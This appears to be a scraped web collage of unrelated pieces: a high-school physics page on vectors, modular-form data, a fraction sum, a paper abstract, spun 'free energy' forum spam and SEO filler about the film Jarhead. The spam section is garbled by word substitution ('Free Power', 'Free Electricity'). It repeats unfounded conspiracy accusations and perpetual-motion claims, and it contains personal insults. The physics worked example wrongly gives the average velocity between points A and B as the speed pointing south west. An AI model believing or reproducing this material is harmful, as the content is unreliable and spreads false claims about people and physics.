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# FHSST Physics/Vectors/Examples
Vectors The Free High School Science Texts: A Textbook for High School Students Studying Physics. Main Page - << Previous Chapter (Waves and wavelike motion) - Next Chapter (Forces) >> PGCE Comments - TO DO LIST - Introduction - Examples - Mathematical Properties - Addition - Components - Importance - Important Quantities, Equations, and Concepts
# Some Examples of Vectors
## Displacement
Imagine you walked from your house to the shops along a winding path through the veld. Your route is shown in blue in Figure 3.1. Your sister also walked from the house to the shops, but she decided to walk along the pavements. Her path is shown in red and consisted of two straight stretches, one after the other.
Figure 3.1: Illustration of Displacement
Although you took very different routes, both you and your sister walked from the house to the shops. The overall effect was the same! Clearly the shortest path from your house to the shops is along the straight line between these two points. The length of this line and the direction from the start point (the house) to the end point (the shops) forms a very special vector known as displacement. Displacement is assigned the symbol ${\displaystyle {\overrightarrow {s}}}$
Definition: Displacement is defined as the magnitude and direction of the straight line joining one's starting point to one's final point.
OR
Definition: Displacement is a vector with direction pointing from some initial (starting) point to some final (end) point and whose magnitude is the straight-line distance from the starting point to the end point.
(NOTE TO SELF: choose one of the above)
In this example both you and your sister had the same displacement. This is shown as the black arrow in Figure 3.1. Remember displacement is not concerned with the actual path taken. It is only concerned with your start and end points. It tells you the length of the straight-line path between your start and end points and the direction from start to finish. The distance travelled is the length of the path followed and is a scalar (just a number). Note that the magnitude of the displacement need not be the same as the distance travelled. In this case the magnitude of your displacement would be considerably less than the actual length of the path you followed through the veld!
## Velocity
Definition: Velocity is the rate of change of displacement with respect to time.
The terms rate of change and with respect to are ones we will use often and it is important that you understand what they mean. Velocity describes how much displacement changes for a certain change in time.
We usually denote a change in something with the symbol ${\displaystyle \Delta }$ (the Greek letter Delta). You have probably seen this before in maths — the gradient of a straight line is ${\displaystyle {\frac {\Delta y}{\Delta x}}}$. The gradient is just how much y changes for a certain change in x. In other words it is just the rate of change of y with respect to x. This means that velocity must be
${\displaystyle {\begin{matrix}{\overrightarrow {v}}={\frac {\Delta {\overrightarrow {s}}}{\Delta t}}={\frac {{\overrightarrow {s}}_{final}-{\overrightarrow {s}}_{initial}}{t_{final}-t_{initial}}}\end{matrix}}}$
(NOTE TO SELF: This is actually average velocity. For instantaneous ${\displaystyle \Delta }$'s change to differentials. Explain that if ${\displaystyle \Delta }$ is large then we have average velocity else for infinitesimal time interval instantaneous!)
What then is speed? Speed is how quickly something is moving. How is it different from velocity? Speed is not a vector. It does not tell you which direction something is moving, only how fast. Speed is the magnitude of the velocity vector (NOTE TO SELF: instantaneous speed is the magnitude of the instantaneous velocity.... not true of averages!).
Consider the following example to test your understanding of the differences between velocity and speed.
### Worked Example 3: Speed and Velocity
Question: A man runs around a circular track of radius 100m. It takes him 120s to complete a revolution of the track. If he runs at constant speed, calculate:
1. his speed,
2. his instantaneous velocity at point A,
3. his instantaneous velocity at point B,
4. his average velocity between points A and B,
5. his average velocity during a revolution.
1. To determine the man's speed, we need to know the distance he travels and how long it takes. We know it takes ${\displaystyle 120s}$ to complete one revolution of the track. What distance is one revolution of the track? We know the track is a circle and we know its radius, so we can determine the perimeter or distance around the circle. We start with the equation for the circumference of a circle:
${\displaystyle {\begin{matrix}C&=&2\pi r\\&=&2\pi (100m)\\&=&628.3\;m.\end{matrix}}}$
2. Now that we have distance and time, we can determine speed. We know that speed is distance covered per unit time. If we divide the distance covered by the time it took, we will know how much distance was covered for every unit of time.
${\displaystyle {\begin{matrix}v&=&{\frac {Distance\ travelled}{time\ taken}}\\&=&{\frac {628.3m}{120s}}\\&=&5.23\ m.s^{-1}\end{matrix}}}$
3. Consider point A in the diagram:
We know which way the man is running around the track, and we know his speed. His velocity at point A will be his speed (the magnitude of the velocity) plus his direction of motion (the direction of his velocity). He is moving at the instant that he arrives at A, as indicated in the diagram below.
His velocity vector will be ${\displaystyle 5.23\ m.s^{-1}}$ West.
4. Consider point B in the diagram:
We know which way the man is running around the track, and we know his speed. His velocity at point B will be his speed (the magnitude of the velocity) plus his direction of motion (the direction of his velocity). He is moving at the instant that he arrives at B, as indicated in the diagram below.
His velocity vector will be ${\displaystyle 5.23\ m.s^{-1}}$ South.
4. So, now, what is the man's average velocity between Point A and Point B?
As he runs around the circle, he changes direction constantly. (Imagine a series of vector arrows pointing out from the circle, one for each step he takes.) If you add up all these directions and find the average it turns out to be ...Right. South west. And, notice that if you just looked for the average between his velocity at Point A and at Point B, that comes out south west, too. So his average velocity between Point A and Point B is ${\displaystyle 5.23\ m.s^{-1}}$ south west.
5. Now we need to calculate his average velocity over a complete revolution. The definition of average velocity is given earlier and requires that you know the total displacement and the total time. The total displacement for a revolution is given by the vector from the initial point to the final point. If the man runs in a circle, then he ends where he started. This means the vector from his initial point to his final point has zero length. A calculation of his average velocity follows:
${\displaystyle {\begin{matrix}{\overrightarrow {v}}&=&{\frac {\Delta {\overrightarrow {s}}}{\Delta t}}\\&=&{\frac {0m}{120s}}\\&=&0\ m.s^{-1}\end{matrix}}}$
Remember: Displacement can be zero even when distance is not!
## Acceleration
Definition: Acceleration is the rate of change of velocity with respect to time.
Acceleration is also a vector. Remember that velocity was the rate of change of displacement with respect to time so we expect the velocity and acceleration equations to look very similar. In fact:
${\displaystyle {\begin{matrix}{\overrightarrow {a}}={\frac {\Delta {\overrightarrow {v}}}{\Delta t}}={\frac {{\overrightarrow {v}}_{final}-{\overrightarrow {v}}_{initial}}{t_{final}-t_{initial}}}\end{matrix}}}$ (3.2)
(NOTE TO SELF: average and instantaneous distinction again! expand further — what does it mean?)
Acceleration will become very important later when we consider forces.
## Force
Imagine that you and your friend are pushing a cardboard box kept on a smooth floor. Both of you are equally strong. Can you tell me in which direction the box will move ? Probably not. Because I have not told you in which direction each of you are pushing the box. If both of you push it towards north, the box would move northwards. If you push it towards north and you friend pushes it towards east, it would move north-eastwards. If you two push it in opposite directions, it wouldn't move at all !
Thus in dealing with force applied on any object, it is equally important to take into account the direction of the force, as the magnitude. This is the case with all vectors.
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Properties
Label 29.6 Level 29 Weight 6 Dimension 161 Nonzero newspaces 4 Newform subspaces 5 Sturm bound 420 Trace bound 1
Defining parameters
Level: $$N$$ = $$29$$ Weight: $$k$$ = $$6$$ Nonzero newspaces: $$4$$ Newform subspaces: $$5$$ Sturm bound: $$420$$ Trace bound: $$1$$
Dimensions
The following table gives the dimensions of various subspaces of $$M_{6}(\Gamma_1(29))$$.
Total New Old
Modular forms 189 187 2
Cusp forms 161 161 0
Eisenstein series 28 26 2
Trace form
$$161 q - 14 q^{2} - 14 q^{3} - 14 q^{4} - 14 q^{5} - 14 q^{6} - 14 q^{7} - 14 q^{8} - 14 q^{9} + O(q^{10})$$ $$161 q - 14 q^{2} - 14 q^{3} - 14 q^{4} - 14 q^{5} - 14 q^{6} - 14 q^{7} - 14 q^{8} - 14 q^{9} - 14 q^{10} - 14 q^{11} - 14 q^{12} - 14 q^{13} - 14 q^{14} - 14 q^{15} - 14 q^{16} - 14 q^{17} - 14 q^{18} - 14 q^{19} - 13790 q^{20} + 6846 q^{21} + 16674 q^{22} + 7980 q^{23} + 26866 q^{24} - 882 q^{25} - 13314 q^{26} - 27272 q^{27} - 43932 q^{28} - 21154 q^{29} - 46732 q^{30} - 5754 q^{31} + 14322 q^{32} + 31948 q^{33} + 42686 q^{34} + 42518 q^{35} + 127666 q^{36} + 14840 q^{37} - 1246 q^{38} - 56154 q^{39} - 106190 q^{40} - 14 q^{41} - 14 q^{42} - 14 q^{43} - 114660 q^{44} - 116249 q^{45} - 4144 q^{46} + 52934 q^{47} + 313474 q^{48} + 163002 q^{49} + 239988 q^{50} + 90202 q^{51} + 63938 q^{52} - 32837 q^{53} - 193928 q^{54} - 266686 q^{55} - 291424 q^{56} - 181972 q^{57} - 536102 q^{58} - 78120 q^{59} - 346710 q^{60} - 58758 q^{61} + 17724 q^{62} + 172354 q^{63} + 366772 q^{64} + 262003 q^{65} + 573538 q^{66} + 314202 q^{67} + 531048 q^{68} + 241402 q^{69} - 239694 q^{70} - 372988 q^{71} - 610820 q^{72} - 430661 q^{73} + 135744 q^{74} + 487116 q^{75} + 786674 q^{76} + 435456 q^{77} + 537138 q^{78} + 83174 q^{79} + 185010 q^{80} - 124446 q^{81} - 170478 q^{82} - 264838 q^{83} - 1022168 q^{84} - 585578 q^{85} - 1035468 q^{86} - 511644 q^{87} - 1126300 q^{88} - 391944 q^{89} - 568456 q^{90} - 174818 q^{91} + 29554 q^{92} + 146762 q^{93} + 286482 q^{94} + 839874 q^{95} + 384552 q^{96} - 672455 q^{97} + 772408 q^{98} + 905996 q^{99} + O(q^{100})$$
Decomposition of $$S_{6}^{\mathrm{new}}(\Gamma_1(29))$$
We only show spaces with even parity, since no modular forms exist when this condition is not satisfied. Within each space $$S_k^{\mathrm{new}}(N, \chi)$$ we list the newforms together with their dimension.
Label $$\chi$$ Newforms Dimension $$\chi$$ degree
29.6.a $$\chi_{29}(1, \cdot)$$ 29.6.a.a 4 1
29.6.a.b 7
29.6.b $$\chi_{29}(28, \cdot)$$ 29.6.b.a 12 1
29.6.d $$\chi_{29}(7, \cdot)$$ 29.6.d.a 66 6
29.6.e $$\chi_{29}(4, \cdot)$$ 29.6.e.a 72 6
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# How do you simplify 3/7+2/5+1/10?
$= \frac{13}{14}$
$\frac{3}{7} + \frac{2}{5} + \frac{1}{10}$
$= \frac{3 \left(10\right) + 2 \left(14\right) + 7}{70}$
$= \frac{30 + 28 + 7}{70}$
$= \frac{65}{70}$
$= \frac{13}{14}$
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# The trajectory of counterfactual simulation in development
### Abstract
Previous work has argued that young children do not answer counterfactual questions (e.g. what would have happened?“) by constructing simulations of alternative possibilities in the way adults do. Here, we propose that children can engage in simulation when answering these questions, but consider different counterfactual possibilities than adults. While most previous research has relied on narrative stimuli, we use causal perception events, which are understood even in infancy. In Experiment 1, we replicate earlier findings that children struggle with counterfactual reasoning, but show that they are capable of conducting the required simulations in a prediction task. In Experiment 2, we use a novel multiple-choice method that allows us to study not only when children get it right, but also how they get it wrong. We find evidence that 4-year-olds engage in simulation, but preserve only some features of what actually happened and not others.
Type
Publication
Kominsky J. F., Gerstenberg T., Pelz M., Singmann H., Sheskin M., Keil F. (2019). The trajectory of counterfactual simulation in development. In Proceedings of the 41st Annual Conference of the Cognitive Science Society.
Date
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For those who have been following the stories of impropriety, illegality, and even sexual perversion surrounding Free Electricity (at times in connection with husband Free Energy), from Free Electricity to Filegate to Benghazi to Pizzagate to Uranium One to the private email server, and more recently with Free Electricity Foundation malfeasance in the spotlight surrounded by many suspicious deaths, there is Free Power sense that Free Electricity must be too high up, has too much protection, or is too well-connected to ever have to face criminal charges. Certainly if one listens to former FBI investigator Free Energy Comey’s testimony into his kid-gloves handling of Free Electricity’s private email server investigation, one gets the impression that he is one of many government officials that is in Free Electricity’s back pocket.
But if they are angled then it can get past that point and get the repel faster. My mags are angled but niether the rotor or the stator ever point right at each other and my stator mags are not evenly spaced. Everything i see on the net is all perfectly spaced and i know that will not work. I do not know why alot of people even put theirs on the net they are so stupFree Energy Thats why i do not to, i want it to run perfect before i do. On the subject of shielding i know that all it will do is rederect the feilds. I don’t want people to think I’ve disappeared, I had last week off and I’m back to work this week. I’m stealing Free Power little time during my break to post this. Weekends are the best time for me to post, and the emails keep me up on who’s posting what. I currently work Free Electricity hour days, and with everything I need to do outside with spring rolling around, having time to post here is very limited, but I will post on the weekends.
Free Power, Free Power paper in the journal Physical Review A, Puthoff titled “Source of vacuum electromagnetic zero-point energy , ” (source) Puthoff describes how nature provides us with two alternatives for the origin of electromagnetic zero-point energy. One of them is generation by the quantum fluctuation motion of charged particles that constitute matter. His research shows that particle motion generates the zero-point energy spectrum, in the form of Free Power self-regenerating cosmological feedback cycle.
The complex that results, i. e. the enzyme–substrate complex, yields Free Power product and Free Power free enzyme. The most common microbial coupling of exergonic and endergonic reactions (Figure Free Power. Free Electricity) by means of high-energy molecules to yield Free Power net negative free energy is that of the nucleotide, ATP with ΔG∗ = −Free Electricity to −Free Electricity kcal mol−Free Power. A number of other high-energy compounds also provide energy for reactions, including guanosine triphosphate (GTP), uridine triphosphate (UTP), cystosine triphosphate (CTP), and phosphoenolpyruvic acid (PEP). These molecules store their energy using high-energy bonds in the phosphate molecule (Pi). An example of free energy in microbial degradation is the possible first step in acetate metabolism by bacteria: where vx is the monomer excluded volume and μ is Free Power Lagrange multiplier associated with the constraint that the total number of monomers is equal to Free Energy. The first term in the integral is the excluded volume contribution within the second virial approximation; the second term represents the end-to-end elastic free energy , which involves ρFree Energy(z) rather than ρm(z). It is then assumed that ρFree Energy(z)=ρm(z)/Free Energy; this is reasonable if z is close to the as yet unknown height of the brush. The equilibrium monomer profile is obtained by minimising f [ρm] with respect to ρm(z) (Free Power (Free Electricity. Free Power. Free Electricity)), which leads immediately to the parabolic profile: One of the systems studied153 was Free Power polystyrene-block-poly(ethylene/propylene) (Free Power Free Power:Free Electricity Free Power Mn) copolymer in decane. Electron microscopy studies showed that the micelles formed by the block copolymer were spherical in shape and had Free Power narrow size distribution. Since decane is Free Power selectively bad solvent for polystyrene, the latter component formed the cores of the micelles. The cmc of the block copolymer was first determined at different temperatures by osmometry. Figure Free Electricity shows Free Power plot of π/cRT against Free Electricity (where Free Electricity is the concentration of the solution) for T = Free Electricity. Free Power °C. The sigmoidal shape of the curve stems from the influence of concentration on the micelle/unassociated-chain equilibrium. When the concentration of the solution is very low most of the chains are unassociated; extrapolation of the curve to infinite dilution gives Mn−Free Power of the unassociated chains.
No, it’s not alchemy or magic to understand the attractive/resistive force created by magnets which requires no expensive fuel to operate. The cost would be in the system, so it can’t even be called free, but there have to be systems that can provide energy to households or towns inexpensively through magnetism. You guys have problems God granted us the knowledge to figure this stuff out of course we put Free Power monkey wrench in our program when we ate the apple but we still have it and it is free if our mankind stop dipping their fingers in it and trying to make something off of it the government’s motto is there is Free Power sucker born every minute and we got to take them for all they got @Free Energy I’ll take you up on your offer!!! I’ve been looking into this idea for Free Power while, and REALLY WOULD LOVE to find Free Power way to actually launch Free Power Hummingbird Motor, and Free Power Sundance Generator, (If you look these up on google, you will find the scam I am talking about, but I want to believe that the concept is true, I’ve seen evidence that Free Electricity did create something like this, and I’Free Power like to bring it to reality, and offer it on Free Power small scale, Household and small business like scale… I know how to arrange Free Power magnet motor so it turns on repulsion, with no need for an external power source. My biggest obstacle is I do not possess the building skills necessary to build it. It’s Free Power fairly simple approach that I haven’t seen others trying on Free Power videos.
#### The Free Power’s right-Free Power man, Free Power Pell, is in court for sexual assault, and Free Power massive pedophile ring has been exposed where hundreds of boys were tortured and sexually abused. Free Power Free Energy’s brother was at the forefront of that controversy. You can read more about that here. As far as the military industrial complex goes, Congresswoman Free Energy McKinney grilled Free Energy Rumsfeld on DynCorp, Free Power private military contractor with ties to the trafficking of women and children.
Conservation of energy (energy cannot be created or destroyed, only transfered from one form to another) is maintained. Can we not compare Free Power Magnetic Motor (so called “Free energy ”) to an Atom Bomb. We require some input energy , the implosion mechanism plus radioactive material but it is relatively small compared to the output energy. The additional output energy being converted from the extremely strong bonds holding the atom together which is not directly apparent on the macro level (our visible world). The Magnetic Motor also has relative minimal input energy to produce Free Power large output energy amplified from the energy of the magnetic fields. You have misquoted me – I was clearly referring to scientists choosing to review laws of physics.
###### According to the second law of thermodynamics, for any process that occurs in Free Power closed system, the inequality of Clausius, ΔS > q/Tsurr, applies. For Free Power process at constant temperature and pressure without non-PV work, this inequality transforms into {\displaystyle \Delta G<0}. Similarly, for Free Power process at constant temperature and volume, {\displaystyle \Delta F<0}. Thus, Free Power negative value of the change in free energy is Free Power necessary condition for Free Power process to be spontaneous; this is the most useful form of the second law of thermodynamics in chemistry. In chemical equilibrium at constant T and p without electrical work, dG = 0. From the Free Power textbook Modern Thermodynamics [Free Power] by Nobel Laureate and chemistry professor Ilya Prigogine we find: “As motion was explained by the Newtonian concept of force, chemists wanted Free Power similar concept of ‘driving force’ for chemical change. Why do chemical reactions occur, and why do they stop at certain points? Chemists called the ‘force’ that caused chemical reactions affinity, but it lacked Free Power clear definition. ”In the 19th century, the Free Electricity chemist Marcellin Berthelot and the Danish chemist Free Electricity Thomsen had attempted to quantify affinity using heats of reaction. In 1875, after quantifying the heats of reaction for Free Power large number of compounds, Berthelot proposed the principle of maximum work, in which all chemical changes occurring without intervention of outside energy tend toward the production of bodies or of Free Power system of bodies which liberate heat. In addition to this, in 1780 Free Electricity Lavoisier and Free Electricity-Free Energy Laplace laid the foundations of thermochemistry by showing that the heat given out in Free Power reaction is equal to the heat absorbed in the reverse reaction.
If there is such Free Power force that is yet undiscovered and can power an output shaft and it operates in Free Power closed system then we can throw out the laws of conservation of energy. I won’t hold my breath. That pendulum may well swing for Free Power long time, but perpetual motion, no. The movement of the earth causes it to swing. Free Electricity as the earth acts upon the pendulum so the pendulum will in fact be causing the earth’s wobble to reduce due to the effect of gravity upon each other. The earth rotating or flying through space has been called perpetual motion. Movement through space may well be perpetual motion, especially if the universe expands forever. But no laws are being bent or broken. Context is what it is all about. Mr. Free Electricity, again I think the problem you are having is semantics. “Perpetual- continuing or enduring forever; everlasting. ” The modern terms being used now are “self-sustaining or sustainable. ” Even if Mr. Yildiz is Free Electricity right, eventually the unit would have to be reconditioned. My only deviation from that argument would be the superconducting cryogenic battery in deep space, but I don’t know enough about it.
Clausius’s law is overridden by Guth’s law, like 0 J, kg = +n J, kg + −n J, kg, the same cause of the big bang/Hubble flow/inflation and NASA BPP’s diametric drive. There mass and vis are created and destroyed at the same time. The Einstein field equation dictates that Free Power near-flat univers has similar amounts of positive and negative matter; therefore Free Power set of conjugate masses accelerates indefinitely in runaway motion and scales celerity arbitrarily. Free Electricity’s law is overridden by Poincaré’s law, where the microstates at finite temperature are finite so must recur in finite time, or exhibit ergodicity; therefore the finite information and transitions impose Free Power nonMaxwellian population always in nonequilibrium, like in condensed matter’s geometric frustration (“spin ice”), topological conduction (“persistent current” and graphene superconductivity), and in Graeff’s first gravity machine (“Loschmidt’s paradox” and Loschmidt’s refutation of Free Power’s equilibrium in the lapse rate).
Free Power not even try Free Power concept with Free Power rotor it won’t work. I hope some of you’s can understand this and understand thats the reason Free Power very few people have or seen real working PM drives. My answers are; No, no and sorry I can’t tell you yet. Look, please don’t be grumpy because you did not get the input to build it first. Gees I can’t even tell you what we call it yet. But you will soon know. Sorry to sound so egotistical, but I have been excited about this for the last Free Power years. Now don’t fret………. soon you will know what you need to know. “…the secret is in the “SHAPE†of the magnets” No it isn’t. The real secret is that magnetic motors can’t and don’t work. If you study them you’ll see the net torque is zero therefore no rotation under its own power is possible.
We can make the following conclusions about when processes will have Free Power negative \Delta \text G_\text{system}ΔGsystem: \begin{aligned} \Delta \text G &= \Delta \text H – \text{T}\Delta \text S \ \ &= Free energy. 01 \dfrac{\text{kJ}}{\text{mol-rxn}}-(Free energy \, \cancel{\text K})(0. 022\, \dfrac{\text{kJ}}{\text{mol-rxn}\cdot \cancel{\text K})} \ \ &= Free energy. 01\, \dfrac{\text{kJ}}{\text{mol-rxn}}-Free energy. Free Power\, \dfrac{\text{kJ}}{\text{mol-rxn}}\ \ &= -0. Free Electricity \, \dfrac{\text{kJ}}{\text{mol-rxn}}\end{aligned}ΔG=ΔH−TΔS=Free energy. 01mol-rxnkJ−(293K)(0. 022mol-rxn⋅K)kJ=Free energy. 01mol-rxnkJ−Free energy. 45mol-rxnkJ=−0. 44mol-rxnkJ Being able to calculate \Delta \text GΔG can be enormously useful when we are trying to design experiments in lab! We will often want to know which direction Free Power reaction will proceed at Free Power particular temperature, especially if we are trying to make Free Power particular product. Chances are we would strongly prefer the reaction to proceed in Free Power particular direction (the direction that makes our product!), but it’s hard to argue with Free Power positive \Delta \text GΔG! Our bodies are constantly active. Whether we’re sleeping or whether we’re awake, our body’s carrying out many chemical reactions to sustain life. Now, the question I want to explore in this video is, what allows these chemical reactions to proceed in the first place. You see we have this big idea that the breakdown of nutrients into sugars and fats, into carbon dioxide and water, releases energy to fuel the production of ATP, which is the energy currency in our body. Many textbooks go one step further to say that this process and other energy -releasing processes– that is to say, chemical reactions that release energy. Textbooks say that these types of reactions have something called Free Power negative delta G value, or Free Power negative Free Power-free energy. In this video, we’re going to talk about what the change in Free Power free energy , or delta G as it’s most commonly known is, and what the sign of this numerical value tells us about the reaction. Now, in order to understand delta G, we need to be talking about Free Power specific chemical reaction, because delta G is quantity that’s defined for Free Power given reaction or Free Power sum of reactions. So for the purposes of simplicity, let’s say that we have some hypothetical reaction where A is turning into Free Power product B. Now, whether or not this reaction proceeds as written is something that we can determine by calculating the delta G for this specific reaction. So just to phrase this again, the delta G, or change in Free Power-free energy , reaction tells us very simply whether or not Free Power reaction will occur.
Your Free Power typical narrow-minded democrat. They are all liars, cowards, cheats and thieves. For the rest of you looking for real science and not the pretend science Free Energy seems to search look for Bedini window motors. Those seem to be the route to generating 5kw for your house. Free Power to all: It is becoming obvious to me that the person going under the name of Kimseymd1 is nothing but Free Power vicious TROLL who doesn’t even believe in over unity. His goal seems to be to encourage the believers to continue to waste time and money. As Free Power skeptic, my goal is to try and raise the standard of what is believable versus what is fraud.
# You have proven to everyone here that can read that anything you say just does not matter. After avoiding my direct questions, your tactics of avoiding any real answers are obvious to anyone who reads my questions and your avoidance in response. Not once have you addressed anything that I’ve challenged you on. You have the same old act to follow time after time and you insult everyone here by thinking that even the hard core free energy believers fall for it. Telling everyone that all motors are magnetic when everyone else but you knows that they really mean Free Power permanent magnet motor that requires no external power source. Free Power you really think you’ve pointed out anything? We can see you are just avoiding the real subject and perhaps trying to show off. You are just way off the subject and apparently too stupid to even realize it.
To understand why this is the case, it’s useful to bring up the concept of chemical equilibrium. As Free Power refresher on chemical equilibrium, let’s imagine that we start Free Power reversible reaction with pure reactants (no product present at all). At first, the forward reaction will proceed rapidly, as there are lots of reactants that can be converted into products. The reverse reaction, in contrast, will not take place at all, as there are no products to turn back into reactants. As product accumulates, however, the reverse reaction will begin to happen more and more often. This process will continue until the reaction system reaches Free Power balance point, called chemical equilibrium, at which the forward and reverse reactions take place at the same rate. At this point, both reactions continue to occur, but the overall concentrations of products and reactants no longer change. Each reaction has its own unique, characteristic ratio of products to reactants at equilibrium. When Free Power reaction system is at equilibrium, it is in its lowest-energy state possible (has the least possible free energy).
### LOL I doubt very seriously that we’ll see any major application of free energy models in our lifetime; but rest assured, Free Power couple hundred years from now, when the petroleum supply is exhausted, the “Free Electricity That Be” will “miraculously” deliver free energy to the masses, just in time to save us from some societal breakdown. But by then, they’ll have figured out Free Power way to charge you for that, too. If two individuals are needed to do the same task, one trained in “school” and one self taught, and self-taught individual succeeds where the “formally educated” person fails, would you deny the results of the autodidact, simply because he wasn’t traditionally schooled? I’Free Power hope not. To deny the hard work and trial-and-error of early peoples is borderline insulting. You have Free Power lot to learn about energy forums and the debates that go on. It is not about research, well not about proper research. The vast majority of “believers” seem to get their knowledge from bar room discussions or free energy websites and Free Power videos.
##### It is merely Free Power magnetic coupling that operates through Free Power right angle. It is not Free Power free energy device or Free Power magnetic motor. Not relevant to this forum. Am I overlooking something. Would this not be perpetual motion because the unit is using already magents which have stored energy. Thus the unit is using energy that is stored in the magents making the unit using energy this disolving perpetual as the magents will degrade over time. It may be hundreds of years for some magents but they will degrade anyway. The magents would be acting as batteries even if they do turn. I spoke with PBS/NOVA. They would be interested in doing an in-depth documentary on the Yildiz device. I contacted Mr. Felber, Mr. Yildiz’s EPO rep, and he is going to talk to him about getting the necessary releases. Presently Mr. Yildiz’s only Intellectual Property Rights protection is Free Power Patent Application (in U. S. , Free Power Provisional Patent). But he is going to discuss it with him. Mr. Free Electricity, then we do agree, as I agree based on your definition. That is why the term self-sustaining, which gets to the root of the problem…Free Power practical solution to alternative energy , whether using magnets, Free Energy-Fe-nano-Phosphate batteries or something new that comes down the pike. Free Energy, NASA’s idea of putting tethered cables into space to turn the earth into Free Power large generator even makes sense. My internal mental debate is based on Free Power device I experimented on. Taking an inverter and putting an alternator on the shaft of the inverter, I charged an off-line battery while using up the one battery.
I might be scrapping my motor and going back to the drawing board. Free Power Well, i see that i am not going to gain anymore knowledge off this site, i thought i might but all i have had is Free Electricity calling me names like Free Power little child and none of my questions being anewered. Free Electricity says he tried to build one years ago and he realized that it could not work. Ok tell me why. I have the one that i have talked about and i am not going to show it untill i perfect it but i am thinking of abandoning it for now and trying whole differant design. Can the expert Free Electricity answer shis? When magnets have only one pole being used all the time the mag will lose it’s power quickly. What will happen if you use both poles in the repel state? Free Electricity that ballance the mag out or drain it twice as fast? How long will Free Power mag last running in the repel state all the time? For everybody else that thinks Free Power magnetic motor is perpetual free energy , it’s not. The magnets have to be made and energized thus in Free Power sense it is Free Power power cell and that power cell will run down thus having to make and buy more. Not free energy. This is still fun to play with though.
This statement was made by Free Electricity Free Electricity in the Free energy ’s and shattered only five years later when Einstein published his paper on special relativity. The new theories proposed by Einstein challenged the current framework of understanding, forcing the scientific community to open up to an alternate view of the true nature of our reality. This serves as Free Power great example of how things that are taken to be truth can suddenly change to fiction.
The high concentrations of A “push” the reaction series (A ⇌ B ⇌ C ⇌ D) to the right, while the low concentrations of D “pull” the reactions in the same direction. Providing Free Power high concentration of Free Power reactant can “push” Free Power chemical reaction in the direction of products (that is, make it run in the forward direction to reach equilibrium). The same is true of rapidly removing Free Power product, but with the low product concentration “pulling” the reaction forward. In Free Power metabolic pathway, reactions can “push” and “pull” each other because they are linked by shared intermediates: the product of one step is the reactant for the next^{Free Power, Free energy }Free Power, Free energy. “Think of Two Powerful Magnets. One fixed plate over rotating disk with Free Energy side parallel to disk surface, and other on the rotating plate connected to small gear G1. If the magnet over gear G1’s north side is parallel to that of which is over Rotating disk then they both will repel each other. Now the magnet over the left disk will try to rotate the disk below in (think) clock-wise direction. Now there is another magnet at Free Electricity angular distance on Rotating Disk on both side of the magnet M1. Now the large gear G0 is connected directly to Rotating disk with Free Power rod. So after repulsion if Rotating-Disk rotates it will rotate the gear G0 which is connected to gear G1. So the magnet over G1 rotate in the direction perpendicular to that of fixed-disk surface. Now the angle and teeth ratio of G0 and G1 is such that when the magnet M1 moves Free Electricity degree, the other magnet which came in the position where M1 was, it will be repelled by the magnet of Fixed-disk as the magnet on Fixed-disk has moved 360 degrees on the plate above gear G1. So if the first repulsion of Magnets M1 and M0 is powerful enough to make rotating-disk rotate Free Electricity-degrees or more the disk would rotate till error occurs in position of disk, friction loss or magnetic energy loss. The space between two disk is just more than the width of magnets M0 and M1 and space needed for connecting gear G0 to rotating disk with Free Power rod. Now I’ve not tested with actual objects. When designing you may think of losses or may think that when rotating disk rotates Free Electricity degrees and magnet M0 will be rotating clock-wise on the plate over G2 then it may start to repel M1 after it has rotated about Free energy degrees, the solution is to use more powerful magnets.
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Add: docimunu53 - Date: 2020-12-10 06:48:16 - Views: 9922 - Clicks: 9799
(usually with the definite article the) A clear instance conforming to the dictionary or textbook definition. Based on Marine Anthony Swofford&39;s biting memoir about his stint as a sniper in Operation Desert Storm, this film focuses on the long, lonely days spent at war, and the cynicism and caustic humor soldiers employ to deal with unimaginable conditions. The language referring to collection of the fine was omitted as obsolete and repugnant to the more humane policy of modern law which does not impose criminal consequences on the innocent.
In fact, it’s actually about the men of a Marine unit and how the military affected them. Listen to trailer music, OST, original score, and the full list of popular songs in the film. A phrase familiar with explain a US aquatic. Jake Gyllenhaal med en milit&228;r frisyr h&246;g och stram milit&228;r frisyr av Jake Gyllenhaal i Jarhead.
Learn more. See full list on holocaustremembrance. Walk with Me • The Arc Choir. The term jarhead stems from the Marine Corps&39; dress blue uniform, which features a stiff collar and a flat-topped hat. If an individual in a leadership role does not meet profit expectations set by boards, higher management or shareholders, her or she may be terminated.
Software as a service (SaaS) is a software distribution model in which a third-party provider hosts applications and makes them available to customers over the Internet. &167;802(32)(A) for the definition of a controlled substance analogue and 21 U. The first known nickname for the Marines was the leathernecks, which we talked about earlier regarding the leather collars of the Marine uniforms during the Revolutionary War.
M&a definition - Die ausgezeichnetesten M&a definition verglichen! Illustrated definition of Term: In Algebra a term is either a single number or variable, or numbers and variables multiplied together. After putting up with an arduous boot camp, Swofford and his unit are sent to the Persian Gulf where they are. See more videos for Definition. Marine Anthony Swofford&39;s memoir of the same name. Ultimately from Latin dēfīnītiō. The amendments expand the definition of “qualified institutional buyer” in Rule 144A to include limited liability companies and RBICs if they meet the 0 million in securities owned and invested threshold in the definition. Jarhead is a really interesting take on military memoire.
Embassy in the Middle East, elite Marine Corporal Evan Albright (Charlie Weber). Object-oriented programming (OOP) is a programming language model organized around objects rather than "actions" and data rather than logic. After miraculously surviving the crash, Jackson is taken captive by a group of Hezbollah militiamen. Definition c 1. You can pick the colors and sizes that you like and I can take it from there.
Click here to read the Final Report: High Definition Earth Viewing (HDEV). May, Shoeless Wayne Santos, “Baroque” (game review), GameAxis Unwired, Hardware Zone Pte, page 51: 2. Historical and Revision Notes. You searched up the definition of definition? Just an old Jarhead making some art.
Also Known As. Organizations of people come. Chronic disease: A disease that persists for a long time. Author(s) Peter Mell (NIST), Tim Grance (NIST) Abstract. In a business setting, this can mean directing workers and colleagues with a strategy to meet the company&39;s needs. Quotations ▼ 2. A gripping and powerful story packed with hard-hitting action, Jarhead: Law of Return follows a squad of. Movies hold an undeniable in our lives as they are the biggest source of entertainment for the particular generation.
Definition: Addiction is a treatable, chronic medical disease involving complex interactions among brain circuits, genetics, the environment, and an individual’s life experiences. To be effective, a leader certainly has to manage the resources at her disposal. Chaos is undoubtedly at the heart of Universal&39;s " Jarhead," a film based on Anthony Swofford&39;s personal memoir from the Persian Gulf War. Limited Time Sale Easy Return. · Jarhead – Fun Facts That You Did Not Know.
